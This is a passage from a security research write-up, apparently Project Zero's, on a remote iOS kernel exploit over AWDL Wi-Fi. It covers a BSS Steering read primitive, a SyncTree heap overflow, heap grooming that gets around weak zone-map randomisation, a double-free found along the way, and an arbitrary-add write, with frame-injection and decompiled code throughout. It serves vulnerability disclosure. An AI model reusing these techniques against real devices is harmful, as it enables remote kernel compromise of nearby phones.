to IO80211PeerBssSteeringManager::processBssSteeringEnabled which parses a steering_msg structure which itself was parsed from the bss steering tlv; we'll take a look at both of those in a moment. If the steering manager is happy with the contents of the steering_msg structure from the TLV it starts two [IOTimerEventSources](<https://developer.apple.com/documentation/kernel/iotimereventsource>): the bssSteeringExpiryTimer and the bssSteeringStageExpiryTimer. The SteeringExpiry timer will abort the entire steering process when it triggers, which happens after a few seconds. The StageExpiry timer allows the state machine to make progress asynchronously. When it expires it will call the IO80211PeerBssSteeringManager::bssSteeringStageExpiryTimerHandler function, a snippet of which is shown here:\n\n** \n**\n\n#### cntx = this->steering_cntx;\n\n#### if ( cntx && cntx->pendingTransitionToNewState )\n\n#### {\n\n#### current_state = cntx->current_state;\n\n#### switch ( current_state )\n\n#### {\n\n#### case BSS_STEERING_STATE_PRE_STEERING_SYNC_EVAL:\n\n#### event = BSS_STEERING_DO_PRESYNC_EVAL;\n\n#### break;\n\n#### case BSS_STEERING_STATE_ASSOCIATION_ONGOING:\n\n#### case BSS_STEERING_STATE_SELF_STEERING_ASSOCIATION_ONGOING:\n\n#### event = BSS_STEERING_INFRA_LINK_CHANGE_TIMEOUT;\n\n#### break;\n\n#### case BSS_STEERING_STATE_STEERING_SYNC_CONFIRM_AWAIT:\n\n#### event = BSS_STEERING_SYNC_CONFIRM_ATTEMPT;\n\n#### break;\n\n#### default:\n\n#### goto ERR;\n\n#### }\n\n#### result = this->bssSteeringStateMachine(this, event, ...\n\n** \n**\n\nWe can see here the four state transitions which may happen asynchronously in the background when the StageExpiry timer fires and causes events to be injected.\n\n** \n**\n\nFrom BSS_STEERING_STATE_IDLE, after the timers are initialized the code sets the pendingTranstionToNewState flag and updates the state to BSS_STEERING_STATE_PRE_STEERING_SYNC_EVAL:\n\n** \n**\n\n#### this->steering_cntx->pendingTransitionToNewState = 1;\n\n#### state = BSS_STEERING_STATE_PRE_STEERING_SYNC_EVAL;\n\n** \n**\n\nWe can now see that this will cause the the BSS_STEERING_DO_PRESYNC_EVAL event to be injected into the steering state machine and we reach the following code:\n\n** \n**\n\n#### case BSS_STEERING_STATE_PRE_STEERING_SYNC_EVAL:\n\n#### {\n\n#### if ( EVENT == BSS_STEERING_DO_PRESYNC_EVAL ) {\n\n#### steering_policy = this->processPreSyncEvaluation(cntx);\n\n#### ...\n\n** \n**\n\nHere the BSS steering TLV gets parsed and reformatted into a format suitable for the BSS steering code, presumably this is the compatibility layer between the 802.11v enterprise WiFi BSS steering code and AWDL.\n\n** \n**\n\nWe need the IO80211PeerBssSteeringManager::processPreSyncEvaluation to return a steering_policy value of 7. The code which determines this is very complicated; in the end it turns out that if the target device is currently connected to a 5Ghz network on a non-DFS channel then we can get it to return the right steering policy value to reach BSS_STEERING_STATE_STEERING_SYNC_POST_EVAL. DFS channels are dynamic and can be disabled at runtime if radar is detected. There's no requirement that the attacker is also on the same 5GHz network. There might also be another path to reach the required state but this will do.\n\n** \n**\n\nAt this point we finally reach processPostSyncEvaluation and the steeringMsgBlob will be allocated and the UMI timer armed. When it starts firing the code will attempt to read the steering_msg_blob pointer and send the buffer it points to over the air.\n\n# Building the read\n\nLet's look concretely at what's required for the read:\n\n** \n**\n\nWe need two spoofer peers:\n\n** \n**\n\n#### struct ether_addr reader_peer = *(ether_aton(\"22:22:aa:22:00:00\"));\n\n#### struct ether_addr steerer_peer = *(ether_aton(\"22:22:bb:22:00:00\"));\n\n** \n**\n\nThe target device needs to be aware of both these peers so we allocate the reader peer by spoofing a frame from it:\n\n** \n**\n\n#### inject(RT(),\n\n#### WIFI(dst, reader_peer),\n\n#### AWDL(),\n\n#### SYNC_PARAMS(),\n\n#### CHAN_SEQ_EMPTY(),\n\n#### HT_CAPS(),\n\n#### UNICAST_DATAPATH(0x1307 | 0x800),\n\n#### PKT_END());\n\n** \n**\n\nThere are two important things here:\n\n** \n**\n\n1) This peer will have a channel sequence which is empty; this is crucial as it means we can enforce a gap between the allocation of the steering_msg_blob by processPostSyncEvaluation and its use in the UMI timer. Recall that we saw earlier that the unicast MI template only gets built when the UMI timer fires during a peer availability window; if the peer has no availability windows, then the template won't be updated and the steering_msg_blob won't be used. We can easily change the channel sequence later by sending a different TLV.\n\n** \n**\n\n2) The flags in the UNICAST_DATAPATH TLV. That 0x800 is quite important, without it this happens:\n\n** \n**\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirUJb-2UQ-4J36qjqApRj9YqNYZCPAZdCALUBD7XOLhmbBym50yAmc3sKG6vaM3njECIe0SiHYJjbRzMctS0tTNIz-tdviiWTHL2BI0dxgecRy3X8Czk5AsjYOXLcA9YA3TQr5uQOvcxZLLkWXLGppPx4m80mvGxeEerniUMlgiEnLF2zGCT2Zsjug/s1156/image18%281%29.png>)\n\n### This tweet from @mdowd on May 27th 2020 mentioned a double free in BSS reachable via AWDL\n\n \n\n\nWe'll get to that...\n\n** \n**\n\nThe next step is to allocate the steerer_peer and start steering the reader:\n\n** \n**\n\n#### inject(RT(),\n\n#### WIFI(dst, steerer_peer),\n\n#### AWDL(),\n\n#### SYNC_PARAMS(),\n\n#### HT_CAPS(),\n\n#### UNICAST_DATAPATH(0x1307),\n\n#### BSS_STEERING(&reader_peer, 1),\n\n#### PKT_END());\n\n** \n**\n\nLet's look at the bss_steering TLV:\n\n** \n**\n\n#### struct bss_steering_tlv {\n\n#### uint8_t type;\n\n#### uint16_t length;\n\n#### uint32_t steeringMsgID;\n\n#### uint32_t steeringMsgLen;\n\n#### uint32_t peer_count;\n\n#### struct ether_addr peer_macs[8];\n\n#### struct ether_addr BSSID;\n\n#### uint32_t steeringTimeoutThreshold;\n\n#### uint32_t SSID_len;\n\n#### uint8_t infra_channel;\n\n#### uint32_t steeringCmdFlags;\n\n#### char SSID[32];\n\n#### } __attribute__((packed));\n\n** \n**\n\nWe need to carefully choose these values; the important part for the exploit however is that we can specify up to 8 peers to be steered at the same time. For this example we'll just steer one peer. Here we build a bss_steering_tlv with only one peer_mac set to the mac address of reader_peer. If we've set everything up correctly this should cause the IO80211AWDLPeer for the reader_peer object to allocate a steering_msg_blob and start the UMI timer firing trying to send that blob in a UMI\n\n** \n**\n\nUMI?\n\nUMIs are Unicast Master Indication frames; unlike regular AWDL Master Indication frames UMIs are sent to unicast MAC addresses.\n\n** \n**\n\nWe can now send a final frame:\n\n** \n**\n\n#### char overflower[0x80] = {0};\n\n#### *(uint64_t*)(&overflower[0x50]) = 0x4141414141414141;\n\n#### \n\n#### inject(RT(),\n\n#### WIFI(dst, reader_peer),\n\n#### AWDL(),\n\n#### SYNC_PARAMS(),\n\n#### SERV_PARAM(),\n\n#### HT_CAPS(),\n\n#### DATAPATH(reader_peer),\n\n#### SYNC_TREE((struct ether_addr*)overflower,\n\n#### sizeof(overflower)/sizeof(struct ether_addr)),\n\n#### PKT_END());\n\n** \n**\n\nThere are two important parts to this frame:\n\n** \n**\n\n1) We've included a SyncTree TLV which will trigger the buffer overflow. SYNC_TREE will copy the MAC addresses in overflower into the sync_tree_macs inline buffer in the IO80211AWDLPeer:\n\n** \n**\n\n#### /* +0x1648 */ struct ether_addr sync_tree_macs[10];\n\n#### /* +0x1684 */ uint8_t sync_error_count;\n\n#### /* +0x1685 */ uint8_t had_chanseq_tlv;\n\n#### /* +0x1686 */ uint8_t pad3[2];\n\n#### /* +0x1688 */ uint64_t per_second_timestamp;\n\n#### /* +0x1690 */ uint32_t n_frames_in_last_second;\n\n#### /* +0x1694 */ uint8_t pad21[4];\n\n#### /* +0x1698 */ void *steering_msg_blob;\n\n#### /* +0x16A0 */ uint32_t steering_msg_blob_size;\n\n** \n**\n\nsync_tree_macs is at offset +0x1648 in the IO80211AWDLPeer object and the steering_msg_blob is at +0x1698 so by placing our arbitrary read target 0x50 bytes in to the SYNC_TREE tlv we'll overwrite the steering_msg_blob, in this case with the value 0x4141414141414141.\n\n** \n**\n\n2) The other important part is that we no longer send the CHAN_SEQ_EMPTY TLV, meaning this peer will use the channel sequence in the sync_params TLV. This contains a channel sequence where the peer declares they are listening in every Availability Window (AW), meaning that the next time the UMI timer fires while the target device is also in an AW it will read the corrupted steering_msg_blob pointer and try to build a UMI using it. If we sniff for UMI frames coming from the target MAC address (dst in this example) and parse out TLV 0x1d we'll find our (almost) arbitrarily read memory!\n\n** \n**\n\nIn this case of course trying to read from an address like 0x4141414141414141 will almost certainly cause a kernel panic, so we've still got more work to do.\n\n# Almost-arbitrary read\n\nThere are some important limitations for this read technique: firstly, the steering_msg_blob has its length as the second dword member and that length will be used as the length of memory to copy into the UMI. This means that we can only read from places where the second dword pointed to is a small value less than around 800 (the available space in the UMI frame.) That size also dictates how much will be read. We can work with this as an initial arbitrary read primitive however.\n\n** \n**\n\nThe second limitation is the speed of these reads; in order to steer multiple peers at the same time and therefore perform multiple reads in parallel we'll need some more tricks. For now, the only option is to wait for steering to fail and restart the steering process. This takes around 8 seconds, after which the steering process can be restarted by using a steeringMsgId value of 0 rather than 6 in in the BSS_STEERING TLV. \n\n# What to read\n\nAt this point we can get memory sent back to us provided it meets some requirements. Helpfully if the memory doesn't meet those requirements as long as the virtual address was mapped and readable the code won't crash so we have some leeway.\n\n** \n**\n\nMy first idea here was to use the physmap, an (almost) 1:1 virtual mapping of the physical address space in virtual memory. The base of the physmap address is randomized on iOS but the slide is smaller than the physical address space size, meaning there's a virtual address in there you can always read from. This gives you a safe virtual address to dereferences to start trying to find pointers to follow.\n\n** \n**\n\nIt was around this point in the development of the exploit that Apple released iOS 13.3.1 which patched the heap overflow. I wanted to also release at least some kind of demo at this point so I [released a very basic proof-of-concept](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1982#c2>) which drove the BSS Steering state machine far enough to read from the physmap along with a little javascript snippet you could run in Safari to spray physical memory to demonstrate that you really were reading user data. Of course, this isn't all that compelling; the more compelling demo is still a few months down the road.\n\n** \n**\n\nDiscussing these problems with fellow Project Zero researchers Brandon Azad and Jann Horn, Brandon mentioned that on iOS the base of the zone map, used for most general kernel heap allocations, wasn't very randomized at all. I had looked at this using DTrace on MacOS and it seemed fairly randomized, but dumping kernel layout information on iOS isn't quite as trivial as setting a boot argument to disable SIP and enable kernel DTrace.\n\n** \n**\n\nBrandon had recently finished [the exploit for his oob_timestamp bug](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1986>) and as part of that he'd made a spreadsheet showing various values such as the base of the zone and kalloc maps across multiple reboots. And indeed, the randomization of the base of the zone map is very minimal, around 16 MB:\n\n** \n**\n\nkASLR\n\n| \n\nsane_size\n\n| \n\nzone_min\n\n| \n\nzone_max \n \n---|---|---|--- \n \n04da4000\n\n| \n\n72fac000\n\n| \n\nffffffe000370000\n\n| \n\nffffffe02b554000 \n \n080a4000\n\n| \n\n73cac000\n\n| \n\nffffffe0007bc000\n\n| \n\nffffffe02be80000 \n \n08b28000\n\n| \n\n73228000\n\n| \n\nffffffe00011c000\n\n| \n\nffffffe02b3ec000 \n \n0bbb0000\n\n| \n\n721a4000\n\n| \n\nffffffe0005bc000\n\n| \n\nffffffe02b25c000 \n \n0c514000\n\n| \n\n7383c000\n\n| \n\nffffffe000650000\n\n| \n\nffffffe02bb68000 \n \n0d4d4000\n\n| \n\n72880000\n\n| \n\nffffffe0002d8000\n\n| \n\nffffffe02b208000 \n \n107d4000\n\n| \n\n7357c000\n\n| \n\nffffffe00057c000\n\n| \n\nffffffe02b98c000 \n \n12c08000\n\n| \n\n73148000\n\n| \n\nffffffe000598000\n\n| \n\nffffffe02b814000 \n \n13fb8000\n\n| \n\n71d98000\n\n| \n\nffffffe000714000\n\n| \n\nffffffe02b230000 \n \n184fc000\n\n| \n\n73854000\n\n| \n\nffffffe00061c000\n\n| \n\nffffffe02bb3c000 \n \n** \n**\n\nUsing the Service Response Descriptor TLV technique we can allocate 16MB of memory in just a handful of frames, which means we should stand a reasonable chance of being able to safely find our allocations on the heap.\n\n# Finding ourselves\n\nWhat would we like to read? We've discussed before that in order to safely corrupt the fields after the vtable in the IO80211AWDLPeer object we'll need to know a PAC'ed vtable pointer so we'd like to read one of those. If we're able to find one of those we'll also know the address of at least one IO80211AWDLPeer object.\n\n** \n**\n\nIf you make enough allocations of a particular size in iOS they will tend to go from lower addresses to higher addresses. Apple has introduced various small randomizations into exactly how objects are allocated but they're not relevant if we just examine the overall trend, which is to try to fill the virtual memory area reserved for the zone map from bottom to top.\n\n** \n**\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHTvmsrllJspDhDasG-KPzq5-bKtf10iaTnPuSF01nizhsMPQQrhxC3LZ2IQKupIvpYhEcCqXyroUS8XkhTlQo-g2PRzbEqi5gY0umb-ZSeR7PLSQ9UJpdKrMYEy_M7uF3agbZsKHbXKRXfNgQw4Ga93bTTPAumpPvaaUts0tBEVEn0FQsP4pDvRf_/s624/image4%289%29.png>)\n\n### As the maximum slide value of the zone map is smaller than its size there will be a virtual address which is always inside the zone map\n\n** \n**\n\nThe insufficient randomization of the zone map base gives us quite a large virtual memory region I've dubbed the safe probe region where, provided we go approximately from low to high we can safely read.\n\n** \n**\n\nOur heap groom is as follows:\n\n** \n**\n\nWe send a large number of service_response TLVs, each of which has the following form:\n\n** \n**\n\n#### struct service_response_16k_id_tlv sr = {0};\n\n#### \n\n#### sr.type = 2;\n\n#### sr.len = sizeof(struct service_response_16k_id_tlv) - 3;\n\n#### sr.s_1 = 2;\n\n#### sr.key_buf[0] = 'A';\n\n#### sr.key_buf[1] = 'B';\n\n#### sr.v_1 = 0x4000;\n\n#### sr.v_2 = 0x1648; // offset\n\n#### sr.val_buf[0] = 6; // msg_type\n\n#### sr.val_buf[1] = 0x320; // msg_id\n\n#### sr.val_buf[2] = 0x41414141; // marker\n\n#### sr.val_buf[3] = val; // value\n\n** \n**\n\nEach of these TLVs causes the target device to make a 16KB kalloc allocation (one physical page) and then at offset +0x1648 in there write the following 4 dwords:\n\n** \n**\n\n#### 6\n\n#### 0x320\n\n#### 0x41414141\n\n#### counter\n\n** \n**\n\nThe counter value increments by one for each TLV we send.\n\n** \n**\n\nWe put 39 of these TLVs in every frame which will result in the allocation of 39 physical pages, or over 600kb, for each AWDL frame we send, allowing us to rapidly allocate memory.\n\n** \n**\n\nWe split the groom into three sections, first sending a number of these spray frames, then a number of spoofed peers to cause the allocation of a large number of IO80211AWDLPeer objects. Finally we send another large number of the service response TLVs.\n\n** \n**\n\nThis results in a memory layout approximating this:\n\n** \n**\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgX5779_oEnhQGd1prBpEX-xtIvhvsdK0BOk_kc7pWQHKTRJKhM59OyV94vsUhvSgYVge5lL7-FrlhzBuQ8KO0apQo2JMj_b1DC3m8XTibdDG1KZ9ujJKtVlYriYJkLbdcZhQqhi2R_zDKVEuTxb8IoCjzwkBPNiGS2vAdXUW5JsxBxHELJVjJnjL44/s624/image25.png>)\n\n### Inside the safe probe region we aim to place a number of IO80211AWDLPeer objects, surrounded by service_response groom pages with approximately incrementing counter values\n\n** \n**\n\nIf we now use the BSS Steering arbitrary read primitive to read from near the bottom of the safe probe region at offset +0x1648 from page boundaries, we should hopefully soon find one of the service_response TLV buffers. Since each service_response groom contains a unique counter which we can then read, we can make a guess for the distance between this discovered service_response buffer and the middle of where we think target peers will be and so compute a new guess for the location of a target peer. This approach lets us do something like a binary search to find an IO80211AWDLPeer object reasonably efficiently\n\n** \n**\n\nWhy did I choose to read from offset +0x1648? Because that's also the offset of the sync_tree_macs buffer in the IO80211AWDLPeer where we can place arbitrary data. Each of those middle target peers is created like this:\n\n** \n**\n\n#### struct peer_fake_steering_blob {\n\n#### uint32_t msg_id;\n\n#### uint32_t msg_len;\n\n#### uint32_t magic; // 0x43434343 == peer\n\n#### struct ether_addr mac; // the MAC of this peer\n\n#### uint8_t pad[32];\n\n#### } __attribute__((packed));\n\n#### \n\n#### struct peer_fake_steering_blob fake_steerer = {0};\n\n#### \n\n#### fake_steerer.msg_id = 6;\n\n#### fake_steerer.msg_len = 0x320;\n\n#### fake_steerer.magic = 0x43434343;\n\n#### fake_steerer.mac = target_groom_peer;\n\n#### \n\n#### inject(RT(),\n\n#### WIFI(dst, target_groom_peer),\n\n#### AWDL(),\n\n#### SYNC_PARAMS(),\n\n#### SERV_PARAM(),\n\n#### HT_CAPS(),\n\n#### DATAPATH(target_groom_peer),\n\n#### SYNC_TREE((struct ether_addr*)&fake_steerer,\n\n#### sizeof(struct peer_fake_steering_blob)\n\n#### /sizeof(struct ether_addr)),\n\n#### PKT_END());\n\n** \n**\n\nThe magic value 0x43434343 lets us determine whether our read has found a service_response buffer or a peer. Following that we put the spoofed MAC address of this peer. This allows us to determine which peer has the address we guessed. If we do manage to find a peer allocation we can then examine the remaining bytes of disclosed memory; there's a high probability that following this peer is another peer, and we've disclosed the first few dozen bytes of it. Here's a hexdump of a successfully located peer:\n\n** \n**\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXNfhM9iEg-pc0YXXoAX7egvAVqq9cDwheQPiispnrVRt5GAnnz4-dShUD-DizFEdIhVNppH8pbDXq3smSKz4KZSYUJkAEqpaDs1_728-Zy2p-54SmmaQ70hKT9O799GcgdQFxmvcxSfIV43BpGfsAyEcXNlnKwb4olyaX6bq3WkL3MTItE_t2qWAU/s624/image13%283%29.png>)\n\n### An annotated hexdump of the disclosed memory when two neighbouring IO80211AWDLPeer objects are found. Here you can see the runtime values of the fields in the peer header, including the PAC'ed vtable pointer\n\n** \n**\n\nWe can see here that we have managed to find two peers next to each other. We'll call these lower_peer and upper_peer. By placing each sprayed peer's MAC address in the sync_tree_macs array we're able to determine both lower_peer and upper_peer's MAC address. Since we know which guessed virtual address we chose we also know the virtual addresses of lower_peer and upper_peer, and from the PAC'ed vtable pointer we can compute the KASLR slide.\n\n** \n**\n\nFrom now on we can easily and repeatedly corrupt the fields seen above by sending a large sync tree TLV containing a modified version of this dumped memory:\n\n** \n**\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4lAXAwPSfCned5RtqAR646UdrW76_5NlTtDW10QldZDIDNjBPCUuNjSXr8DPbJqbUqT-Mq5m-LCyzgVpyIQNgXeruKUiBbZziF224y9GqYFjHBcXo4uAE9G9uBLKcxMQwPnB5om_DmpdLEjzU5zrzOUm-B97SMT0RKZithtqsVsGR9CoCWO1DahnZ/s624/image19%281%29.png>)\n\n### Using the disclosed memory we can safely manipulate the lower fields in upper_peer using the SyncTree buffer overflow\n\n# A mild panic?\n\nAccidental 0day 1 of 2\n\nDuring my experiments to get the BSS Steering state machine working and into the desired state where it would send UMIs, I noticed that the target device would sometimes kernel panic, even when I was very sure that I hadn't triggered the heap overflow vulnerability. As it turns out, I was accidentally triggering another zero-day vulnerability...\n\n** \n**\n\noops!\n\n** \n**\n\nThis was slightly concerning as it had now been months since I had reported the first AWDL-based vulnerability to Apple and a fix for that had already shipped. One my early hopes for Project Zero would be that we could have a \"research amplification\" effect: we would invest significant effort in publicly less-understood areas of vulnerability research and exploitation and present our results to the affected vendors who would then use their significantly greater resources to continue this research. Vendors have resources such as source code and design documents which should make it vastly easier to audit many of these attack surfaces - we would be keen to assist in this second phase as well.\n\n** \n**\n\nA more pragmatic view of reality is that whilst the security and product teams do want to continue our research, and do have many more resources, the one important resource they lack is time. Justifying the benefits of fixing a vulnerability which will become public in 90 days is easy but extracting the maximum value from that external report by investing a significant amount of time is much harder to justify; these teams already have other goals and targets for the quarter. Time is the key resource which makes Project Zero successful; we don't have to do vulnerability triage, or design review, or fix bugs or any of the other things typical product security teams have to do.\n\n** \n**\n\nI mention this because I stumbled over (and reported to Apple) not one but two more remotely-exploitable radio-proximity 0-day vulnerabilities during this research, the first of which appears to have been at least on some level known about:\n\n** \n**\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgA-qMr-kTv-TbldcK-3a-4Ohp-X4p7aItNHmc-NqyugY6ubtrcdn79Kg5OIL11GqnfL1e3qZiC6EFkKlAiMCdSYSb17ZQ7xd6qMo95Z2DalZf5vU9SJ02yNVm5VzJ9OcoUZS099jnRcYKIjm4hoKDEWWT9la2sOUQfBety_786ktY3_ZfDAzUWIhf0/s1156/image18%281%29.png>)\n\n \n\n\n[Mark Dowd is the co-founder of Azimuth](<https://www.vice.com/en_us/article/8xdayg/iphone-zero-days-inside-azimuth-security>), an Australian \"market-leading information security business\". \n\n** \n**\n\nIt's well known to all vulnerability researchers that the easiest way to find a new vulnerability is to look very closely at the code near a vulnerability which was recently fixed. They are rarely isolated incidents and usually indicate a lack of testing or understanding across an entire area.\n\n** \n**\n\nI'm emphasising this point because Mark Dowd's tweet above is claiming knowledge of a variant that wasn't so difficult to find. One that was so easy to find, in fact, that it falls out by accident if you make the slightest mistake when doing BSS Steering. \n\n** \n**\n\nWe saw the function IO80211AWDLPeer::populateBssSteeringMsgBlob earlier; it's responsible for allocating and populating the steering_msg_blob buffer which will end up as the contents of the 0x1d TLV sent in a AWDL BSS Steering UMI.\n\n** \n**\n\nAt the beginning of the function they check whether this peer already has steering_msg_blob:\n\n** \n**\n\n#### if (this->steering_msg_blob && this->steering_msg_blob_size) {\n\n#### ...\n\n#### kfree(this->steering_msg_blob, this->steering_msg_blob_size);\n\n#### this->steering_msg_blob = 0LL;\n\n#### }\n\n** \n**\n\nIf it does have one it gets free'd and NULL-ed out.\n\n** \n**\n\nThey then compute the size of the new steering_msg_blob, allocate it and fill it in:\n\n** \n**\n\n#### steering_blob_size = *(_DWORD *)(msg + 0x3C) + 0x4F;\n\n#### this->steering_msg_blob = kalloc(steering_blob_size);\n\n#### ...\n\n#### this->steering_blob_size = steering_blob_size;\n\n** \n**\n\nAll ok.\n\n** \n**\n\nRight at the end of the function they then try to add the peer to the \"UMI chain\" - this is this other linked list of peers with pending UMIs which we saw earlier:\n\n** \n**\n\n#### err = 0;\n\n#### if (this->addPeerToUmiChain()) {\n\n#### if ( peer_manager\n\n#### && peer_manager->isSafeToSendUmiNow(\n\n#### this->chanseq_channels[peer_manager->current_chanseq_step + 1],0)) {\n\n#### err = 0;\n\n#### // in a shared AW; force UMI timer to expire now\n\n#### peer_manager->UMITimer->setTimeoutMS(0)\n\n#### }\n\n#### } else {\n\n#### kfree(this->steering_msg_blob, this->steering_msg_blob_size);\n\n#### this->UMI_feature_mask = 0;\n\n#### err = 0xE00002BC;\n\n#### }\n\n#### return err;\n\n** \n**\n\nIf the peer gets successfully added to the UMI chain, they test whether they could send the UMI right now (if both this device and the target are in AW's on the same channel). If so, they force the UMI timer to expire, which triggers the code we saw earlier to read the steering_msg_blob, build the UMI template and send it.\n\n** \n**\n\nHowever, if addPeerToUmiChain fails then the steering_msg_blob is freed. But unlike the earlier kfree, this time they don't NULL out the pointer before returning. The vulnerability here is that that field is expected to be the owner of that allocation; so if we can somehow come back into populateBssSteeringMsgBlob again this same value will be freed a second time.\n\n** \n**\n\nThere's an even easier way to trigger a double-kfree however: by doing nothing.\n\n** \n**\n\nAfter a period of inactivity the IO80211AWDLPeer object will be destructed and free'd. As part of that the IO80211AWDLPeer::freeResources will be called, which does this:\n\n** \n**\n\n#### steering_msg_blob = this->steering_msg_blob;\n\n#### if ( steering_msg_blob ) {\n\n#### kfree(steering_msg_blob, this->steering_msg_blob_size);\n\n#### this->steering_msg_blob = 0LL;\n\n#### this->steering_msg_blob_size = 0;\n\n#### }\n\n** \n**\n\nThis will see a value for steering_msg_blob which has already been freed and free it a second time. If an attacker were able to reallocate the buffer in between the two frees they could get that controlled object freed, leading to a use-after-free.\n\n** \n**\n\nIt actually took some reversing effort to work out how to make addPeerToUmiChain not fail. The trick is that the peer needs to have sent a datapath TLV with the 0x800 flag set in the first dword, and that's why we set that flag.\n\n** \n**\n\nThis vulnerability also opens a different possibility for the initial memory disclosure. By steering multiple peers it's possible to use this to construct a primitive where the target device will attempt to send a UMI containing memory from a steering_msg_blob which has been freed. With some heap grooming this could allow the disclosure of both a stale allocation as well as out-of-bounds data without needing to guess pointers. In the end I chose to stay with the low zone_map entropy technique as I also wanted to try to land this remote kernel exploit using only a single vulnerability.\n\n** \n**\n\nWe'll get back to the exploit now and take a look at accidental 0day 2 of 2 later on...\n\n# The path to a write\n\nWe've seen that the peer objects seem to be accessed frequently in the background, not just when we're sending frames. This is important to bear in mind as we search for our next corruption target.\n\n** \n**\n\nOne option could be to use the arbitrary free primitive. Maybe we could free a peer object but this would be tricky as the memory allocator would write metadata over the vtable pointer and the peer might be used in the background before we got a chance to ensure it was safe.\n\n** \n**\n\nAnother possibility could be to cause a type confusion. It's possible that you could find a useful gadget with such a primitive but I figured I'd keep looking for something else.\n\n** \n**\n\nAt this point I started going through more AWDL code looking for all indirect writes I could find. Being able to write even an uncontrolled value to an arbitrary address is usually a good stepping-stone to a full arbitrary memory write primitive.\n\n** \n**\n\nThere's one indirect write which stood out as particularly interesting; right at the start of IO80211AWDLPeer::actionFrameReport:\n\n** \n**\n\n#### peer_manager = this->peer_manager;\n\n#### frame_len = mbuf_len(frame_mbuf);\n\n#### peer_manager->total_bytes_received += frame_len;\n\n#### ++this->n_frames_in_last_second;\n\n#### per_second_timestamp = this->per_second_timestamp;\n\n#### absolute_time_now = mach_absolute_time();\n\n#### frames_in_last_second = this->n_frames_in_last_second;\n\n#### if ( ((absolute_time_now - per_second_timestamp) / 1000000)\n\n#### > 1024 )// more than 1024ms difference\n\n#### {\n\n#### if ( frames_in_last_second >= 0x21 )\n\n#### IO80211Peer::logDebug(\n\n#### (IO80211Peer *)this,\n\n#### \"%s[%d] : Received %d Action Frames from peer %02X:%02X:%02X:%02X:%02X:%02X in 1 second. Bad Peer\\n\",\n\n#### \"actionFrameReport\",\n\n#### 1533LL,\n\n#### frames_in_last_second,\n\n#### this->peer_mac.octet[0],\n\n#### this->peer_mac.octet[1],\n\n#### this->peer_mac.octet[2],\n\n#### this->peer_mac.octet[3],\n\n#### this->peer_mac.octet[4],\n\n#### this->peer_mac.octet[5]);\n\n#### this->per_second_timestamp = mach_absolute_time();\n\n#### this->n_frames_in_last_second = 1;\n\n#### }\n\n#### else if ( frames_in_last_second >= 0x21 )\n\n#### {\n\n#### *(_DWORD *)(a2 + 20) = 1;\n\n#### return 0;\n\n#### }\n\n#### ... // continue on to parse the frame\n\n** \n**\n\nThose first three lines of the decompiler output are exactly the kind of indirect write we're looking for:\n\n** \n**\n\n#### peer_manager = this->peer_manager;\n\n#### frame_len = mbuf_len(frame_mbuf);\n\n#### peer_manager->total_bytes_received += frame_len;\n\n** \n**\n\nThe peer_manager field is at offset +0x28 in the peer object, easily corruptible with the linear overflow. The total_bytes_received field is a u32 at offset +0x7c80 in the peer manager, and frame_len is the length of the WiFi frame we send so we can set this to an arbitrary value, albeit at least 0x69 (the minimum AWDL frame size) and less than 1200 (potentially larger with fragmentation but it wouldn't help much). That arbitrary value would then get added to the u32 at offset +0x7c80 from the peer_manager pointer. This would be enough to do a byte-by-byte write of arbitrary memory, presuming you knew what was there before:\n\n** \n**\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMNrRIV7j5LrMTsuOnIRi1gDMjZ1y1i8T4e0I6JRL68QiiScyiVeMUO19Mn70rSD-mQgKltUM-dljMWb55TBYMAQcJzFBTaG9GiSR9J-WwChNYXfv7rB_Xe4RnZl_Hqqi2trF4y6uJa62zqro3gIr3S3YkuvfnvPCxXUdiJtO-3Y9gR6EgPLLWVfnK/s622/image15%283%29.png>)\n\n### By corrupting upper_peer's peer_manager pointer then spoofing a frame from upper_peer we can cause an indirect write through the corrupted peer_manager pointer. The peer_manager has a dword field at offset +0x7c80 which counts the total number of bytes received from all peers; actionFrameReport will add the length of the frame spoofed from upper_peer to the dword at the corrupted peer_manager pointer + 0x7c80 giving us an arbitrary add primitive\n\n** \n**\n\nWe do have a limited read primitive already, probably enough to bootstrap ourselves to a full arbitrary read and therefore full arbitrary write. We can indeed reach this code with a corrupted peer_manager pointer and get an arbitrary add primitive. There's just one tiny problem, which will take many more weeks to solve: We'll panic immediately after the write.\n\n# Getting the timing right\n\nAlthough the IO80211AWDLPeer's peer_manager field doesn't appear to be used often in the background (unlike the vtable), the peer_manager field will be used later on in the actionFrameReport method, and since we're trying to write to arbitrary addresses it will almost certainly cause a panic.\n\n** \n**\n\nLooking at the code, there is only one safe path out of actionFrameReport:\n\n** \n**\n\n#### if ( ((absolute_time_now - per_second_timestamp) / 1000000)\n\n#### > 1024 )// more than 1024ms difference\n\n#### {\n\n#### if (frames_in_last_second >= 0x21)\n\n#### IO80211Peer::logDebug(\n\n#### (IO80211Peer *)this,\n\n#### \"%s[%d] : Received %d Action Frames from peer %02X:%02X:%02X:%02X:%02X:%02X in 1 second. Bad Peer\\n\",\n\n#### \"actionFrameReport\",\n\n#### 1533LL,\n\n#### frames_in_last_second,\n\n#### this->peer_mac.octet[0],\n\n#### this->peer_mac.octet[1],\n\n#### this->peer_mac.octet[2],\n\n#### this->peer_mac.octet[3],\n\n#### this->peer_mac.octet[4],\n\n#### this->peer_mac.octet[5]);\n\n#### this->per_second_timestamp = mach_absolute_time();\n\n#### this->n_frames_in_last_second = 1;\n\n#### }\n\n#### else if ( frames_in_last_second >= 0x21 )\n\n#### {\n\n#### *(_DWORD *)(a2 + 20) = 1;\n\n#### return 0;\n\n#### }\n\n** \n**\n\nWe have to reach that return 0 statement, which means we need the first if clause to be false, and the second one to be true.\n\n** \n**\n\nThe first statement checks whether more than 1024 ms have elapsed since the per_second_timestamp was updated.\n\n** \n**\n\nThe second statement checks whether more than 32 frames have been received since the per_second_timestamp was last updated.\n\n** \n**\n\nSo to reach the return 0 and avoid the panics due to an invalid peer_manager pointer we'd need to ensure that 32 frames have been received from the same 